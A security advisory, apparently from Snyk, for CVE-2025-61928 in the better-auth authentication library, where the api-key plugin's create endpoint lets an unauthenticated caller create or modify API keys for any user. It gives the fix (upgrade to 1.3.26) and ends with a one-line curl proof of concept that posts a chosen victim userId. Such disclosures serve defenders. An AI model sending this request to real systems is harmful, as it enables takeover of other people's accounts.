Missing Authentication for Critical Function Affecting better-auth package, versions >=1.2.0-beta.18 <1.3.26
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published13 Oct 2025
- disclosed9 Oct 2025
- creditetiennelunetta
Introduced: 9 Oct 2025
NewCVE-2025-61928 (opens in a new tab)How to fix?
Upgrade better-auth to version 1.3.26 or higher.
Overview
better-auth is a The most comprehensive authentication library for TypeScript.
Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the api-key plugin's create endpoints. An attacker can gain unauthorized access to any user's account by crafting a request with a chosen userId in the request body, allowing the creation or modification of API keys for arbitrary users.
PoC
curl -X POST http://localhost:3000/api/auth/api-key/create \
-H 'Content-Type: application/json' \
-d '{
"userId": "victim-user-id",
"name": "zeropath"
}'